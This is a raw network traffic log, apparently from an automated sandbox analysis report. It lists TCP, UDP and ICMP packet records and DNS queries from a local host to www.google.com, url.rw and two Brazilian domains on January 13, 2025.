Jan 13, 2025 21:17:30.110953093 CET	62514	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.111017942 CET	443	62514	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.117496014 CET	62515	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.117544889 CET	443	62515	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.117611885 CET	62515	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.117810011 CET	62515	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.117816925 CET	443	62515	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.164594889 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.164685011 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.164807081 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.165101051 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.165127039 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.605608940 CET	443	62515	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.605911016 CET	62515	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.605926037 CET	443	62515	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.606908083 CET	443	62515	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.607330084 CET	62515	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.607481003 CET	443	62515	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.607492924 CET	62515	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.621602058 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.621973038 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.622036934 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.622380972 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.622704983 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.622771025 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.622889996 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.622961998 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.623003006 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.623127937 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.623164892 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.655329943 CET	443	62515	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.659815073 CET	62515	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.738243103 CET	443	62515	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.738387108 CET	443	62515	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.738436937 CET	62515	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.739061117 CET	62515	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.739073992 CET	443	62515	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.878340006 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.878372908 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.878402948 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.878531933 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.878551006 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.878551006 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.878628016 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.878674984 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.878961086 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.878978968 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.879024982 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.879043102 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.879087925 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.883153915 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.883203983 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.965675116 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.965821981 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.965900898 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.966088057 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.966150999 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.966588020 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.966607094 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.966640949 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.966660023 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.966682911 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.966721058 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.966749907 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.966936111 CET	62516	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.966964960 CET	443	62516	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.982204914 CET	62517	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.982292891 CET	443	62517	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:30.982543945 CET	62517	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.982672930 CET	62517	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:30.982703924 CET	443	62517	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:31.019645929 CET	80	49724	217.20.57.18	192.168.2.4
Jan 13, 2025 21:17:31.019793987 CET	49724	80	192.168.2.4	217.20.57.18
Jan 13, 2025 21:17:31.019793987 CET	49724	80	192.168.2.4	217.20.57.18
Jan 13, 2025 21:17:31.024863005 CET	80	49724	217.20.57.18	192.168.2.4
Jan 13, 2025 21:17:31.444761038 CET	443	62493	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:31.444849968 CET	443	62493	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:31.444915056 CET	62493	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:31.465279102 CET	443	62517	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:31.465734959 CET	62517	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:31.465796947 CET	443	62517	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:31.466862917 CET	443	62517	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:31.467408895 CET	62517	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:31.467598915 CET	443	62517	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:31.467714071 CET	62517	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:31.511406898 CET	443	62517	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:31.516657114 CET	62517	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:31.621212959 CET	443	62517	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:31.621375084 CET	443	62517	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:31.621659040 CET	62517	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:31.622190952 CET	62517	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:31.622230053 CET	443	62517	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:32.247582912 CET	62493	443	192.168.2.4	162.241.203.180
Jan 13, 2025 21:17:32.247607946 CET	443	62493	162.241.203.180	192.168.2.4
Jan 13, 2025 21:17:33.677973032 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:33.678081989 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:33.678347111 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:33.678464890 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:33.678497076 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.149338961 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.149801970 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.149867058 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.151379108 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.151686907 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.151792049 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.151808977 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.151864052 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.151916027 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.151923895 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.151977062 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.152029037 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.152198076 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.204878092 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.437100887 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.437340975 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.437426090 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.437423944 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.437469006 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.437521935 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.437546015 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.437669039 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.437725067 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.439697027 CET	62518	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.439728975 CET	443	62518	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.450344086 CET	62519	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.450433016 CET	443	62519	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.450735092 CET	62519	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.450855017 CET	62519	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.450886011 CET	443	62519	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.548569918 CET	62520	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:34.548657894 CET	443	62520	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:34.548744917 CET	62520	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:34.549818993 CET	62520	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:34.549897909 CET	443	62520	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:34.912559986 CET	443	62519	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.913424015 CET	62519	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.913485050 CET	443	62519	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.914954901 CET	443	62519	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.915460110 CET	62519	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.915461063 CET	62519	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:34.915549994 CET	443	62519	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.915821075 CET	443	62519	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:34.958704948 CET	62519	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:35.012929916 CET	443	62520	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:35.013372898 CET	62520	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:35.013436079 CET	443	62520	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:35.014200926 CET	443	62520	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:35.014395952 CET	62520	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:35.015157938 CET	62520	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:35.015229940 CET	443	62520	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:35.015357018 CET	62520	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:35.015388012 CET	443	62520	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:35.048588037 CET	443	62519	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:35.048747063 CET	443	62519	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:35.048932076 CET	62519	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:35.049498081 CET	62519	443	192.168.2.4	104.18.94.41
Jan 13, 2025 21:17:35.049559116 CET	443	62519	104.18.94.41	192.168.2.4
Jan 13, 2025 21:17:35.065453053 CET	62520	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:35.598778009 CET	443	62520	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:35.598861933 CET	443	62520	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:35.599020958 CET	62520	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:35.600166082 CET	62520	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:35.600229979 CET	443	62520	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:35.759902954 CET	62523	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:35.759948015 CET	443	62523	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:35.760015965 CET	62523	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:35.760305882 CET	62523	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:35.760317087 CET	443	62523	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.226639032 CET	443	62523	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.226938963 CET	62523	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.226955891 CET	443	62523	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.227699041 CET	443	62523	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.227766037 CET	62523	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.228075027 CET	62523	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.228092909 CET	62523	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.228125095 CET	443	62523	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.228151083 CET	62523	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.228182077 CET	62523	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.228634119 CET	62524	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.228733063 CET	443	62524	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.228821039 CET	62524	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.228990078 CET	62524	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.229010105 CET	443	62524	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.709084988 CET	443	62524	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.709405899 CET	62524	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.709470034 CET	443	62524	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.713381052 CET	443	62524	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.713476896 CET	62524	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.713756084 CET	62524	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.713865042 CET	62524	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.713953018 CET	443	62524	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.764627934 CET	62524	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:36.764687061 CET	443	62524	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:36.811099052 CET	62524	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:37.311052084 CET	443	62524	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:37.311285973 CET	443	62524	172.67.195.229	192.168.2.4
Jan 13, 2025 21:17:37.311469078 CET	62524	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:37.312048912 CET	62524	443	192.168.2.4	172.67.195.229
Jan 13, 2025 21:17:37.312092066 CET	443	62524	172.67.195.229	192.168.2.4
Jan 13, 2025 21:18:02.157352924 CET	62615	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:18:02.157435894 CET	443	62615	216.58.206.68	192.168.2.4
Jan 13, 2025 21:18:02.157670021 CET	62615	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:18:02.157805920 CET	62615	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:18:02.157838106 CET	443	62615	216.58.206.68	192.168.2.4
Jan 13, 2025 21:18:02.797086954 CET	443	62615	216.58.206.68	192.168.2.4
Jan 13, 2025 21:18:02.797835112 CET	62615	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:18:02.797894001 CET	443	62615	216.58.206.68	192.168.2.4
Jan 13, 2025 21:18:02.798608065 CET	443	62615	216.58.206.68	192.168.2.4
Jan 13, 2025 21:18:02.799145937 CET	62615	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:18:02.799279928 CET	443	62615	216.58.206.68	192.168.2.4
Jan 13, 2025 21:18:02.844254017 CET	62615	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:18:05.454142094 CET	49723	80	192.168.2.4	199.232.210.172
Jan 13, 2025 21:18:05.459651947 CET	80	49723	199.232.210.172	192.168.2.4
Jan 13, 2025 21:18:05.459937096 CET	49723	80	192.168.2.4	199.232.210.172
Jan 13, 2025 21:18:12.703588963 CET	443	62615	216.58.206.68	192.168.2.4
Jan 13, 2025 21:18:12.703716993 CET	443	62615	216.58.206.68	192.168.2.4
Jan 13, 2025 21:18:12.703912020 CET	62615	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:18:14.064212084 CET	62615	443	192.168.2.4	216.58.206.68
Jan 13, 2025 21:18:14.064275980 CET	443	62615	216.58.206.68	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 21:16:57.845599890 CET	53	56499	1.1.1.1	192.168.2.4
Jan 13, 2025 21:16:57.864139080 CET	53	56383	1.1.1.1	192.168.2.4
Jan 13, 2025 21:16:58.888768911 CET	53	58285	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:02.094410896 CET	53871	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:02.094542980 CET	57775	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:02.101901054 CET	53	57775	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:02.102509975 CET	53	53871	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:03.456484079 CET	64161	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:03.456940889 CET	65524	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:03.499393940 CET	53	65524	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:03.755903959 CET	53	64161	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:04.373570919 CET	51785	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:04.373754025 CET	58197	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:04.383063078 CET	53	51785	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:04.384422064 CET	53	58197	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:05.288310051 CET	55726	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:05.288424969 CET	52849	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:06.227233887 CET	53	52849	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:06.227277994 CET	53	55726	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:06.985613108 CET	53	65110	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:15.978315115 CET	53	61889	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:16.991205931 CET	138	138	192.168.2.4	192.168.2.255
Jan 13, 2025 21:17:19.007586956 CET	53232	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:19.007774115 CET	65103	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:19.019038916 CET	53	59009	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:19.410486937 CET	53	53232	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:19.546022892 CET	53	65103	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:20.150376081 CET	54060	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:20.150633097 CET	64565	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:20.159090042 CET	53	54060	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:20.161254883 CET	53	64565	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:20.161837101 CET	61701	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:20.171113014 CET	53	61701	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:20.178097963 CET	65241	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:20.178322077 CET	52755	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:20.271087885 CET	53	52755	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:20.295759916 CET	52171	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:20.295881987 CET	49322	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:20.368383884 CET	53	65241	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:20.518009901 CET	53	49322	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:20.804044008 CET	53	52171	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:22.288223028 CET	51436	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:22.288577080 CET	63656	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:22.291358948 CET	61692	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:22.291498899 CET	62893	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:22.291826963 CET	52681	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:22.292097092 CET	57111	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:22.295006037 CET	53	51436	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:22.295233011 CET	53	63656	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:22.298135996 CET	53	62893	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:22.298361063 CET	53	52681	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:22.298394918 CET	53	61692	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:22.298794985 CET	53	57111	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:23.075912952 CET	51124	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:23.076039076 CET	52826	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:23.082986116 CET	53	52826	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:23.083348036 CET	53	51124	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:23.101803064 CET	54695	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:23.101948977 CET	60714	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:23.108431101 CET	53	54695	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:23.108654976 CET	53	60714	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:23.662410021 CET	59204	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:23.662513018 CET	55072	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:23.669398069 CET	53	55072	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:23.669433117 CET	53	59204	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:23.679770947 CET	58661	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:23.679770947 CET	63779	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:23.686527967 CET	53	63779	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:23.686896086 CET	53	58661	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:25.713594913 CET	61006	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:25.713756084 CET	63778	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:25.720400095 CET	53	61006	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:25.720534086 CET	53	63778	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:34.448319912 CET	60021	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:34.448446989 CET	49769	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:34.527122974 CET	53	60021	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:34.641526937 CET	53	49769	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:35.128797054 CET	56869	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:35.245964050 CET	53	56869	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:35.621006966 CET	64830	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:35.621344090 CET	53133	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:35.640757084 CET	55676	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:35.640758038 CET	62462	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:35.655112982 CET	53	62462	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:35.759257078 CET	53	55676	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:36.642796993 CET	63270	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:36.642961025 CET	53504	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:36.649995089 CET	53	53504	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:38.667912960 CET	51118	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:38.668138981 CET	53373	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:38.675409079 CET	53	53373	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:39.738044024 CET	62033	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:39.738209963 CET	49371	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:39.745582104 CET	53	62033	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:39.745712996 CET	53	49371	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:45.249481916 CET	53	53857	1.1.1.1	192.168.2.4
Jan 13, 2025 21:17:56.349298000 CET	50823	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:56.349463940 CET	55694	53	192.168.2.4	1.1.1.1
Jan 13, 2025 21:17:57.448026896 CET	53	53679	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 13, 2025 21:17:19.546134949 CET	192.168.2.4	1.1.1.1	c23e	(Port unreachable)	Destination Unreachable
Jan 13, 2025 21:17:34.641685009 CET	192.168.2.4	1.1.1.1	c2ad	(Port unreachable)	Destination Unreachable
Jan 13, 2025 21:17:39.893431902 CET	192.168.2.4	1.1.1.1	c2c3	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 21:17:02.094410896 CET	192.168.2.4	1.1.1.1	0xda06	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:02.094542980 CET	192.168.2.4	1.1.1.1	0xd7c4	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 13, 2025 21:17:03.456484079 CET	192.168.2.4	1.1.1.1	0xeaef	Standard query (0)	url.rw	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:03.456940889 CET	192.168.2.4	1.1.1.1	0xbfb1	Standard query (0)	url.rw	65	IN (0x0001)	false
Jan 13, 2025 21:17:04.373570919 CET	192.168.2.4	1.1.1.1	0xddf0	Standard query (0)	url.rw	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:04.373754025 CET	192.168.2.4	1.1.1.1	0xe705	Standard query (0)	url.rw	65	IN (0x0001)	false
Jan 13, 2025 21:17:05.288310051 CET	192.168.2.4	1.1.1.1	0x7692	Standard query (0)	socnpj.com.br	A (IP address)	IN (0x0001)	false
Jan 13, 2025 21:17:05.288424969 CET	192.168.2.4	1.1.1.1	0x6823	Standard query (0)	socnpj.com.br	65	IN (0x0001)	false
Jan 13, 2025 21:17:19.007586956 CET	192.168.2.4	1.1.1.1	0x7e08	Standard query (0)	visaoxprodutora.com.br	A (IP address)	IN (0x0001)	false
